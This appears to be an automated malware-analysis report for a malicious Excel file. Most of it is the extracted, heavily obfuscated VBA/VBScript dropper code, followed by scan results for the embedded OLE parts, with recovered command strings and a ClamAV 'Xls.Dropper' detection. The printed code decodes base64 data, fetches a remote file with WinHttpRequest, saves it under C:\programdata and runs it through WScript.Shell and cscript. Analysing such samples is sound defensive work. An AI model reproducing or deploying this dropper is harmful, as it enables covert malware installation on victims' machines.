rjtievceorh54 = rjtievceorh54 + "    o9u7hgtyuei983jh = o9u7hgtyuei983jh + ""eate""" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "    o9u7hgtyuei983jh = o9u7hgtyuei983jh + ""Ele""" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "    o9u7hgtyuei983jh = o9u7hgtyuei983jh + ""ment""" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "    o9u7hgtyuei983jh = o9u7hgtyuei983jh + ""(""""a""" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "    o9u7hgtyuei983jh = o9u7hgtyuei983jh + ""ux"""")""" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "    yehrfjdks = ""s""" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "    bgfcvbhgfd = ""e"" + ""t lsksjegefectvvjdk"" + "" = """ + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "    yehrfjdks = yehrfjdks + bgfcvbhgfd + mgyftgcdrfsrthgfrty + leftieiehtegy33gy + quoieiehtegy33gy + jbhgyuf7y8uiokjh + quoieiehtegy33gy + rightieiehtegy33gy + o9u7hgtyuei983jh" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "    Execute(yehrfjdks) " + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "    lsksjegefectvvjdk.DataType = bgfjeryhj57r6uj55jry6jr '249472" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "    lsksjegefectvvjdk.Text = iuheiugyugreurfy64 " + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "    aaax = ""ADODB.Stream"" '249472" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "    novarue = ""Node""" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "    nvceuwkbfweu = ""novarue = novarue + """"TypedValue""""""" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "    Execute(nvceuwkbfweu)" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "    wwityetygehrer = ""ieeeeeeeeehhhhhfgfg"" + "" = lsksjegefectvvjdk."" + novarue" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "    Execute(wwityetygehrer)" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "    If LCase(vvfebtrfdhbtrdfg) = ""utf-16le"" then " + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "   fjnffbeuiv54gt5kyurrhtibg4ug6g = CStr(ieeeeeeeeehhhhhfgfg)" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "    Else ' Convert the specified text encoding to a VBScript string." + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "            mgyftgcdrfsrthgfrty = ""CreateObject""" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "            veuriieug34jr = ""Set baax = """ + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "            veuriieug34jr = veuriieug34jr + mgyftgcdrfsrthgfrty + ""(aaax)""" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "            Execute(veuriieug34jr) '249472" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "            djdufyfe67u3yhu = ""baax.Type = 1:baax.Open:baax.Wr"" + ""ite ieeeeeeeeehhhhhfgfg""" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "            Execute(djdufyfe67u3yhu)" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "            baax.Position = 0" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "            baax.Type = 2 ' adTypeText" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "            baax.CharSet = vvfebtrfdhbtrdfg" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "            Execute(""fjnffbeuiv54gt5kyurrhtibg4ug6g = baax."" + ""ReadText"") '249472" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "            baax.Close" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "    End If" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "end sub" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "Sub kjjjjjjjjjjjjjjjjjj(iuheiugyugreurfy64, ssge34322323ssge34322323ssge34322323ssge34322323ssge34322323ssge34322323)" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "    Dim vvfebtrfdhbtrdfg " + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "    if ssge34322323ssge34322323ssge34322323ssge34322323ssge34322323ssge34322323 Then vvfebtrfdhbtrdfg = ""utf-16le"" Else vvfebtrfdhbtrdfg = ""utf-8"" '249472" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + " " + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "    mgyftgcdrfsrthgfrty = ""CreateObject""  '249472" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "    leftieiehtegy33gy = ""(""" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "    rightieiehtegy33gy = "")""" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "    quoieiehtegy33gy = """"""""" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "    jbhgyuf7y8uiokjh = ""Ms""" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "    jbhgyuf7y8uiokjh = jbhgyuf7y8uiokjh + ""xm""" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "    jbhgyuf7y8uiokjh = jbhgyuf7y8uiokjh + ""l2""" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "    jbhgyuf7y8uiokjh = jbhgyuf7y8uiokjh + "".D""" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "    jbhgyuf7y8uiokjh = jbhgyuf7y8uiokjh + ""OM""" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "    jbhgyuf7y8uiokjh = jbhgyuf7y8uiokjh + ""Document""" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "    o9u7hgtyuei983jh = "".Cr""" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "    o9u7hgtyuei983jh = o9u7hgtyuei983jh + ""eate""" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "    o9u7hgtyuei983jh = o9u7hgtyuei983jh + ""Ele""" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "    o9u7hgtyuei983jh = o9u7hgtyuei983jh + ""ment""" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "    o9u7hgtyuei983jh = o9u7hgtyuei983jh + ""(""""a""" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "    o9u7hgtyuei983jh = o9u7hgtyuei983jh + ""ux"""")""" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "    jiwgft7hgyf367r = ""Set lsksjegefectvvjdk = """ + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "    Execute(jiwgft7hgyf367r + mgyftgcdrfsrthgfrty + leftieiehtegy33gy + quoieiehtegy33gy + jbhgyuf7y8uiokjh + quoieiehtegy33gy + rightieiehtegy33gy + o9u7hgtyuei983jh) " + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "    lsksjegefectvvjdk.DataType = bgfjeryhj57r6uj55jry6jr" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "    lsksjegefectvvjdk.Text = iuheiugyugreurfy64 " + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "    aaax = ""ADODB.Stream""  '249472" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "    novarue = ""Node""" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "    Execute(""novarue = novarue + """"TypedValue"""""")" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "    Execute(""ieeeeeeeeehhhhhfgfg = lsksjegefectvvjdk."" + novarue) '249472" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "    If LCase(vvfebtrfdhbtrdfg) = ""utf-16le"" then" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "        f33rZ9jPUDsN6B81P6yiLKJOeonZe6SzDGNsnxCSWrBHVHl05Pv1X2HnSigPIgPi1gXpEXCLMR9yRsmGCj3nhjVAL8Rfq4oW3eTt0EboqxgdqF = CStr(ieeeeeeeeehhhhhfgfg)" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "    Else ' Convert the specified text encoding to a VBScript string." + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "            mgyftgcdrfsrthgfrty = ""CreateObject""" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "            ksjdfuihrege9ur = ""Set baax = """ + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "            Execute(ksjdfuihrege9ur + mgyftgcdrfsrthgfrty + ""(aaax)"") " + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "            baax.Type = 1 ' adTypeBinary '249472" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "            Execute(""baax."" + ""Open"") " + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "            Execute(""baax."" + ""Write ieeeeeeeeehhhhhfgfg"")" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "            baax.Position = 0 '249472" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "            baax.Type = 2 ' adTypeText" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "            baax.CharSet = vvfebtrfdhbtrdfg" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "            Execute(""f33rZ9jPUDsN6B81P6yiLKJOeonZe6SzDGNsnxCSWrBHVHl05Pv1X2HnSigPIgPi1gXpEXCLMR9yRsmGCj3nhjVAL8Rfq4oW3eTt0EboqxgdqF = baax."" + ""ReadText"") " + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "            baax.Close" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "    End If" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "end sub" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "Execute(""call "" + ""grgergre28u38kDecode(hj435fy43geu87r5i,False)""):call kjjjjjjjjjjjjjjjjjj(cft6ygvcr4rcvfgyu,False) " + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "Sub xdecd( dfgerge, vcvxcv )" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "   cobvar = ""Scripting."" + ""FileSystemObject""" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "   Set fso = CreateObject(cobvar) " + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "   path = ""C""" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "   path = path + "":""" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "   path = path + ""\program""" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "   Execute(""path = path + """"data\asc"""" + """".txt"""""")" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "   Execute(""gybghbgyh = fso.File"" + ""Exists(path)"")" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "   If(gybghbgyh) Then" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "      Execute(""fso.DeleteFile(path)"") '249472" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "      msg = path & "" exists.""" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "      Execute(""gtyjnhjkfirejhrrhy=dfgerge:uytrfghjhfrtyhgf=vcvxcv"") " + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "      skivreuifyue43u = ""W""" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "      skivreuifyue43u = skivreuifyue43u + ""Script""" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "       skivreuifyue43u = skivreuifyue43u + "".""" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "       m = skivreuifyue43u + ""Sh""" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "       varforell = ""e"" + ""l""" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "       varforell = varforell + Right(varforell, 1)" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "       m = m + varforell '249472" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "       Execute(""l=m"")  '249472" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "       set lkhnjhgfdrtyujh = CreateObject(l)" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "   Else" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "      msg = path & "" doesn't exist.""" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "   End If" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "    Dim i, objFile, objFSO, skivreuifyue43u, strFile, strMsg" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "    Const ForReading = 1, ForWriting = 2, ForAppending = 8 " + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "    slashy = ""/""" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "    Set objFSO = CreateObject(cobvar) '249472" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "    Execute(""ggfffffffffggggggg = objFSO.Folder"" + ""Exists(uytrfghjhfrtyhgf)"")" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "    Execute(""hdlkvgbfndm = objFSO.Folder"" + ""Exists( Left( uytrfghjhfrtyhgf, InStrRev( uytrfghjhfrtyhgf, """"\"""" ) - 1 ) )"")" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "    If(ggfffffffffggggggg) Then" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "        fje4ue783hu73 = ""Path(""" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "        fje4ue783hu73 = fje4ue783hu73 +  ""gtyjnhjkfirejhrrhy, InStrRev( gtyjnhjkfirejhrrhy, slashy ) + 1 ) )""" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "        obvrva = "" = objFSO""" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "        Execute(""strFile"" + obvrva + ""."" + ""Build"" + fje4ue783hu73) '249472" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "    ElseIf(hdlkvgbfndm) Then" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "        strFile = uytrfghjhfrtyhgf" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "    Else" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "        Exit Sub" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "    End If" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "    Set skivreuifyue43u = CreateObject( ""WinHttp.WinHttpRequest.5.1"" )" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "   'Set skivreuifyue43u = CreateObject( ""Microsoft.XMLHTTP"" )" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "   dim stream_obj" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "   ado = ""ADODB.Stream"" " + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "   Execute(""set stream_obj = CreateObject(ado)"")" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "    Execute(""skivreuifyue43u."" + ""Open """"GET"""", gtyjnhjkfirejhrrhy, False"")" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "    Execute(""skivreuifyue43u."" + ""Send"")" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "   stream_obj.type = 1" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "   Execute(""stream_obj."" + ""open"") '249472" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "   Execute(""stream_obj."" + ""write"" + "" skivreuifyue43u.Respons"" + ""eBody"") " + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "   Execute(""stream_obj.save"" + ""tof"" + ""ile strFile, 2"")" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "End Sub" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "dieueehniv = ""exec """ + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "mancan = ""lkhnjhgfdrtyujh."" + dieueehniv + ""hj435fy43geu87r5i""" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "hj435fy43geu87r5i = ""C:\progra"" + ""mdata\""+fjnffbeuiv54gt5kyurrhtibg4ug6g" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "Execute(""xdecd f33rZ9jPUDsN6B81P6yiLKJOeonZe6SzDGNsnxCSWrBHVHl05Pv1X2HnSigPIgPi1gXpEXCLMR9yRsmGCj3nhjVAL8Rfq4oW3eTt0EboqxgdqF, hj435fy43geu87r5i:dim lkhnjhgfdrtyujh:xax = mancan:Execute(xax)"")" + vbCrLf '0000

            oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
            oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
            oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
            oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
            oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
            oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
            oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
            oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
            oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
            oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
            oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
            oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"

    On Error Resume Next
mddjekfr = "........................................................."
bieufehur3 = ""
If hournow > -2322 Then
    bieufehur3 = bieufehur3 & Left(mddjekfr, 1)
    bieufehur3 = bieufehur3 & "s"
    bieufehur3 = bieufehur3 & "h"
    bieufehur3 = bieufehur3 + "e"
    bieufehur3 = bieufehur3 + "ll"
End If

Range("A1:C1").Select '249472
Dim vch
vch = "b"

xzxz = "W"
xzxz = xzxz & "scr"
xzxz = xzxz & "ipt"
xzxz = xzxz & bieufehur3
hournow = Hour(Time()) '249472

    yyyyvar = "e "

If hournow < 25 Then
x = "C:\program"
x = x + "data" '249472
x = x + "\asc.txt"
xxxxxpath = "Windows\"
Path = "C:\" + xxxxxpath + "System32\c" + "script" + ".ex"
Path = Path + yyyyvar
End If

Dim i As Integer '249472
'ii = InputB
... (truncated)
ooxml_oleobject_00.bin ooxml-ole-object OOXML embedded OLE part: xl/embeddings/oleObject1.bin 5632 bytes
SHA-256: 290a181178c1714a63d64a1ff806571b7d3a93271172d17ddfa72603497a1a87
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Static shellcode analysis recovered command string(s): Wscript.Shell");
ooxml_oleobject_00_ole10native_00.bin ole-package OOXML xl/embeddings/oleObject1.bin Ole10Native stream: Ole10Native 3082 bytes
SHA-256: acf289ac5c2105a90d0fa0f4456b16ccec05f626b06d9b4eba7f4a97dad484e7
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Static shellcode analysis recovered command string(s): Wscript.Shell");
ooxml_oleobject_01.bin ooxml-ole-object OOXML embedded OLE part: xl/embeddings/oleObject3.bin 5936 bytes
SHA-256: d01643a15ded84386ec696a03a7e7068734db28fae02d977e396102dc31efd43
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Static shellcode analysis recovered command string(s): cmd /c ren %tmp%\mm v&cScriPT %tmp%\v?..wsf  C
ooxml_oleobject_02.bin ooxml-ole-object OOXML embedded OLE part: xl/embeddings/oleObject2.bin 13312 bytes
SHA-256: 548ebdb086cc0548d7f3362dd38c54947bf5494301fa0476df4ba96ef30d32e9
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Static shellcode analysis recovered command string(s): Wscript.ScriptFullName, WScript = "WScript" '249472, WScript = sWScript + "."
ooxml_oleobject_02_ole10native_00.bin ole-package OOXML xl/embeddings/oleObject2.bin Ole10Native stream: Ole10Native 10493 bytes
SHA-256: 5d00cba4cce83df3c53a903be3cf70fef981d934a5960bf4ee673587383168f7
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Static shellcode analysis recovered command string(s): Wscript.ScriptFullName, WScript = "WScript" '249472, WScript = sWScript + "."
ooxml_oleobject_03.bin ooxml-ole-object OOXML embedded OLE part: xl/vbaProject.bin 106496 bytes
SHA-256: a90ea40412f7be9ea45c9a3f6da5cf27e04b3f03a1cae967e3c6d62453a7e094
Detection
ClamAV: Xls.Dropper.Sdrop-9451844-0
Obfuscation or payload: unlikely
emf_00.emf ooxml-emf OOXML EMF part: xl/media/image1.emf 4968 bytes
SHA-256: 979dde2aed02f077c16ae53546c6df9eed40e8386d6db6fc36aee9f966d2cb82
emf_01.emf ooxml-emf OOXML EMF part: xl/media/image2.emf 1536 bytes
SHA-256: 4d4d1e7b04c99dcb8e885915068ad6f74cc2333e91580cdae5ccaa00c427247f

Open this report in the interactive analyzer, or submit your own file for analysis.